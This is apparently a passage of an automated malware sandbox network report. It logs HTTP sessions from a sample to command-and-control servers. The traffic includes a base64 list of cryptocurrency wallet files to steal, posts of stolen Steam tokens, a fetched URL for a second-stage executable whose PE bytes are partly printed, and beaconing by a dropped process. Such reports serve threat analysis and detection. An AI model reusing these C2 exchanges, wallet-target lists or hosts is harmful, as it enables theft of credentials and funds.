Nov 22, 2024 00:12:00.539443016 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 22, 2024 00:12:00.585311890 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="message"files------HJDBAFIECGHCBFIDGDAA--
Nov 22, 2024 00:12:01.038008928 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 00:12:01.050683975 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file"------IDHCGDAFBKFIDHJJJDHC--
Nov 22, 2024 00:12:02.049432039 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 00:12:02.117857933 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"ybncbhylepme------JJDHIDBFBFHIJKFHCGIE--
Nov 22, 2024 00:12:02.572242022 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49919	185.215.113.16	80	5356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:12:02.697015047 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 22, 2024 00:12:04.091145039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 23:12:03 GMT Content-Type: application/octet-stream Content-Length: 1854976 Last-Modified: Thu, 21 Nov 2024 22:55:11 GMT Connection: keep-alive ETag: "673fba4f-1c4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@I@WkHI\|I @.rsrcH@.idata @ )@xkdkavkl0`0.@ngrxgfazI&@.taggant0I",@
Nov 22, 2024 00:12:04.091176033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 00:12:04.091227055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 00:12:04.091243982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 00:12:04.091285944 CET	896	IN	Data Raw: 6a 1e d5 47 3b 54 04 0d dc ff 20 43 5f 0b a3 ea 0c 33 3c 1e b5 d9 16 d1 2d 79 9a a8 2a 65 a5 73 ce 21 32 dc cb 61 c9 87 27 68 c1 81 ab 02 d2 eb 9b 69 65 c7 97 07 96 6e cd f2 54 f2 24 d4 a5 ee ab e5 f1 92 43 a8 81 d3 3d b4 a7 81 eb f2 8c 95 3c 88 Data Ascii: jG;T C_3<-yes!2a'hienT$C=<U[#R7T=j/T7/IEHOS)l'yVF?H0\|=b@]rI*!6=]-T(K+12U.QKRJS4'K:R
Nov 22, 2024 00:12:04.091365099 CET	1236	IN	Data Raw: ce bb db 63 1e f9 48 92 1f 08 a4 73 e6 f3 31 35 9c 79 c1 86 3b 95 99 8b 0a 25 35 a1 8e f7 82 b3 0c 2d 9a 34 ea c3 54 4e e7 02 f2 68 b8 29 e5 a3 3c a8 55 ee 83 b4 ec 2b 04 55 80 ad aa e5 83 f3 24 14 25 67 d0 13 b4 a8 8a 65 a5 93 e8 21 52 7c 7c b9 Data Ascii: cHs15y;%5-4TNh)<U+U$%ge!R\|\|;1jK$.#(S491&3KGGo5t0Uvi1n='OKkrk;aY?]a+\)%#1c%+7dC*TD
Nov 22, 2024 00:12:04.091383934 CET	1236	IN	Data Raw: d5 1b 79 f4 7e a1 56 81 1c 61 df cc 2f 61 ff 86 c8 63 05 6a 34 6f 54 96 f4 dc c7 65 e4 42 1c 18 03 48 07 a1 20 44 81 2f 62 f5 0a 45 1f ff 34 74 23 01 4d fc 75 99 36 a9 bc e4 e8 07 0c 7c fd 02 82 b2 4f 7c 9c a1 f0 fb 26 9f bc 5f fc b2 3f 74 56 a1 Data Ascii: y~Va/acj4oTeBH D/bE4t#Mu6\|O\|&_?tVS)W`Bn9i0Fa_3ZyLk@,''^"'[#QNM9ViqEr_3b}QtsCM*~G\|DYNoa$%3Tf3=4j=#
Nov 22, 2024 00:12:04.091401100 CET	1236	IN	Data Raw: cf d6 14 fc 20 e4 6d d2 07 b1 8f ec 1f 40 89 44 90 39 5c af b1 03 49 0b 56 11 f7 82 57 d9 f1 74 28 14 13 c2 5c 1a ad 0a 06 9c 15 09 dd 82 2e 54 e7 f9 0b f1 1f be 7a c4 1e 35 7a 47 23 e4 ed b9 18 ea 53 71 5b 61 cf cc 04 77 20 b9 0b 85 82 1b 84 65 Data Ascii: m@D9\IVWt(\.Tz5zG#Sq[aw ex=ODvZRb:wp3.O+!#@d0c-D\|k{'TyoLx6v DmW<4k*A\-+&tv&A%
Nov 22, 2024 00:12:04.091418982 CET	1236	IN	Data Raw: 0b 20 65 ed 03 ed 8c 74 93 57 6c 8d f5 3f d0 12 6a ac 6c 3e 13 68 ba a6 cf 3d 45 90 c5 ca e8 de 4d e7 05 90 63 83 4f 9a 8b 86 83 2b 48 cd c1 a4 b6 b5 41 17 70 83 3e 66 87 03 27 2f 20 de 0a 74 3d d5 7d 82 4c e8 42 e6 c6 83 56 2c 4d 01 56 c2 25 a4 Data Ascii: etWl?jl>h=EMcO+HAp>f'/ t=}LBV,MV%!2*9i4M@YB!$2uMK,&akFqN{OY3}[N?@Jm+jAe?N<o[ALf@vC(LCQ{
Nov 22, 2024 00:12:04.091437101 CET	1236	IN	Data Raw: 40 b1 eb eb 3b 05 83 c1 fd 26 b3 c8 4a 58 28 c8 5b cc 83 cb 27 1e c4 19 04 4c ed 32 7f 47 38 5f 05 5a 3f 5c 0c ec fb 15 d6 8b 71 84 66 32 86 ca 61 e9 0a 83 04 4c b6 41 88 38 c7 55 66 55 cc 2a 7a f8 4d 80 a1 c9 01 bd 56 c1 37 2c d8 8e d4 4c d7 f9 Data Ascii: @;&JX(['L2G8_Z?\qf2aLA8UfUzMV7,LYU'\|Lo^TAHh3^;ciU={F<-C[B`5O8,w!Icp0}Zg^+g]`z\|Yys-)U
Nov 22, 2024 00:12:04.212068081 CET	1236	IN	Data Raw: bb b6 67 98 f0 9c 4d cc 2f d7 91 13 87 e5 36 f3 fc 49 72 1c 2d f6 52 4f 0d a3 ac df 6a eb 4e 74 ee 2a 43 a3 52 1c d1 52 50 5e 9a 2f 7e 55 4f 91 1d c5 82 9a f9 dd 2c b9 ee 01 75 58 3d 54 15 6e 49 2e 59 88 ec f5 76 77 e3 62 3b cf 41 58 76 ec a7 85 Data Ascii: gM/6Ir-ROjNtCRRP^/~UO,uX=TnI.Yvwb;AXvt u]?IgZKI*z&$DAVv=6nPGJ~9ne/;xPBoFAWaW94PZqU\|BAsTB8-F%?[-YGh]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49938	185.215.113.206	80	5356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:12:07.775754929 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAEBFHJKJEBFCBFHDAEG--
Nov 22, 2024 00:12:09.696387053 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:12:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50080	185.215.113.43	80	4444	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:13:03.850284100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 00:13:05.279647112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 23:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50087	185.215.113.43	80	4444	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:13:06.906441927 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 22, 2024 00:13:08.306641102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 23:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50094	185.215.113.43	80	4444	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:13:10.035698891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 00:13:11.379118919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 23:13:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50103	185.215.113.43	80	4444	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:13:13.016984940 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 22, 2024 00:13:14.348990917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 23:13:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50110	185.215.113.43	80	4444	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:13:16.081317902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 00:13:17.660181046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 23:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50118	185.215.113.43	80	4444	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 00:13:19.356112003 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 22, 2024 00:13:20.778798103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 23:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
